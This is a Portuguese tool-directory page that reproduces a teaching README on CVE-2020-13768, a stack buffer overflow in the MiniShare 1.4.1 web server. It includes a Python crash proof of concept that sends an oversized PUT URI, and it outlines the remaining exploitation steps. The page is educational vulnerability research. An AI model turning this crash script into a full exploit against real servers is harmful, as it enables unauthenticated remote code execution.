Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-13768 — Estouro de buffer baseado em pilha no MiniShare 1.4.1 acessível através de uma única requisição HTTP PUT. | Kitploit
Ferramentas/GitHubGitHub/themalwareguardian/cve-2020-13768
Análise de VulnerabilidadesExploraçãoShellcodeDepuradoresSegurança WebFuzzingTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
Exploração de Binários
GitHubthemalwareguardian/cve-2020-13768

CVE-2020-13768

Estouro de buffer baseado em pilha no MiniShare 1.4.1 acessível através de uma única requisição HTTP PUT.

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🐞 CVE-2020-13768: MiniShare 1.4.1 - Buffer Overflow Baseado em Pilha

Buffer overflow baseado em pilha no MiniShare 1.4.1 acessível através de uma única requisição HTTP PUT.




📑 Índice

  • Por que este repositório existe
  • Por que esta vulnerabilidade é interessante
  • Contexto e software afetado
  • Sobre a vulnerabilidade
  • Acionando a falha
  • Exploração



🎓 Por que este repositório existe

Este repositório faz parte do material que utilizo ao ensinar exploração de corrupção de memória (além do meu trabalho regular, também ministro cursos de segurança cibernética, onde ajudo a treinar a próxima geração de engenheiros reversos).

CVE-2020-13768 é um caso que uso quando quero mostrar como servidores simples expostos à rede podem exibir clássicos buffer overflows baseados em pilha através de métodos de protocolo padrão. O endpoint vulnerável não requer autenticação, o overflow é uma sobrescrita direta de EIP, e o caminho de exploração é limpo e bem definido. É um caso ideal para aprender a metodologia completa de exploração em um cenário remoto não autenticado realista.

O que também torna este caso interessante como exercício de ensino é que a mesma causa raiz — entrada não sanitizada copiada para um buffer de pilha de tamanho fixo — aparece em múltiplas entradas de CVE para o mesmo binário. CVE-2018-19861, CVE-2018-19862 e CVE-2019-17601 descrevem a mesma classe de vulnerabilidade, apenas reportadas por diferentes pesquisadores através de diferentes métodos HTTP ou endpoints. Isso ensina os alunos a olhar para as causas raiz, em vez de apenas números de CVE.




💡 Por que esta vulnerabilidade é interessante

Essa vulnerabilidade afeta o MiniShare 1.4.1, um servidor HTTP leve para Windows descontinuado, projetado para compartilhamento simples de arquivos locais. O software foi escrito sem práticas modernas de segurança em mente. O que torna este caso particularmente interessante do ponto de vista didático é a combinação de fatores envolvidos:

  • Nenhuma autenticação necessária. O método HTTP PUT é processado sem qualquer verificação de credenciais. Qualquer atacante remoto na rede pode acionar a vulnerabilidade com uma única requisição maliciosa.
  • Método de protocolo padrão como vetor de ataque. O overflow é acionado através de uma requisição HTTP PUT — não um protocolo personalizado ou comando obscuro. Isso ilustra como métodos de protocolo padrão e bem conhecidos podem carregar cargas de exploração tão eficazmente quanto interfaces proprietárias.
  • Sobrescrita direta de EIP. O overflow alcança e sobrescreve diretamente o endereço de retorno salvo, tornando-se um buffer overflow baseado em pilha clássico, sem envolvimento de cadeia SEH.
  • Múltiplos CVEs, mesmo binário. CVE-2018-19861, CVE-2018-19862 e CVE-2019-17601 descrevem a mesma classe de vulnerabilidade no mesmo software. Diferentes entradas de CVE foram atribuídas porque diferentes pesquisadores reportaram diferentes métodos HTTP ou endpoints, mas quando o binário é reversado, fica claro que todos compartilham a mesma causa raiz: entrada não sanitizada copiada para um buffer de pilha de tamanho fixo sem validação de comprimento.

Essa combinação torna o CVE-2020-13768 um excelente caso para ensinar os fundamentos da exploração de buffer overflow baseado em rede em um cenário não autenticado realista.




🔍 Contexto e software afetado

MiniShare é um servidor HTTP Windows minimalista originalmente projetado para compartilhamento rápido de arquivos locais em uma LAN. Ele escuta na porta TCP 80 e lida com um pequeno subconjunto de métodos HTTP, incluindo GET e PUT. O manipulador PUT processa requisições recebidas e copia o caminho URI para um buffer de pilha de tamanho fixo sem validar seu comprimento.

Detalhes técnicos principais:

  • Tipo de vulnerabilidade: Buffer overflow baseado em pilha
  • Versão afetada: MiniShare 1.4.1 e anteriores
  • Endpoint afetado: Requisição HTTP PUT
  • Componente vulnerável: Manipulação do caminho URI no manipulador PUT
  • Autenticação necessária: Não
  • Impacto: Execução remota de código



⚠️ Sobre a vulnerabilidade

MiniShare processa requisições HTTP recebidas e as despacha para o manipulador apropriado com base no método. O manipulador PUT extrai o caminho URI da requisição e o copia para um buffer de pilha de tamanho fixo sem verificar seu comprimento.

Uma versão simplificada da lógica vulnerável é assim:

root@kitploit:~
char path_buffer[256];

strcpy(path_buffer, uri_path);

Como o buffer de destino tem tamanho fixo e o comprimento da entrada não é validado, enviar um URI suficientemente longo na requisição PUT faz com que a cópia escreva além do final do buffer, eventualmente alcançando e sobrescrevendo o endereço de retorno salvo (EIP) na pilha.

Quando a função vulnerável retorna, a CPU carrega o valor controlado pelo atacante da pilha para EIP e salta para ele. Se esse endereço aponta para dados controlados pelo atacante contendo shellcode, a execução arbitrária de código é alcançada.




💥 Acionando a falha

A falha pode ser reproduzida enviando um URI excessivamente longo em uma requisição HTTP PUT. Nenhuma autenticação é necessária. Exemplo usando Python:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 3000

request = (
	b"PUT /" + payload + b" HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Connection: close\r\n"
	b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
Baixar ferramenta

Quando executado sob um depurador, a falha mostra EIP sobrescrito com dados controlados pelo usuário:

root@kitploit:~
EIP = 41414141

confirmando que o endereço de retorno salvo foi corrompido pelo overflow.




💣 Exploração

O objetivo deste repositório não é apenas demonstrar a falha, mas também percorrer todo o processo de exploração passo a passo, seguindo a metodologia usada ao desenvolver explorações reais baseadas em pilha.

Para manter o README principal limpo, as notas detalhadas de exploração, scripts e etapas do depurador estão colocadas dentro da pasta Vulnerability 📂 deste repositório.

Lá você encontrará o fluxo de trabalho completo usado para explorar este CVE, incluindo:

  • Fuzzing do URI PUT para identificar a falha.
  • Descoberta do offset para localizar a posição exata de EIP na pilha.
  • Análise de caracteres ruins para identificar bytes que corrompem a carga.
  • Localização de um gadget JMP ESP em um módulo carregado sem ASLR.
  • Posicionamento e execução do shellcode.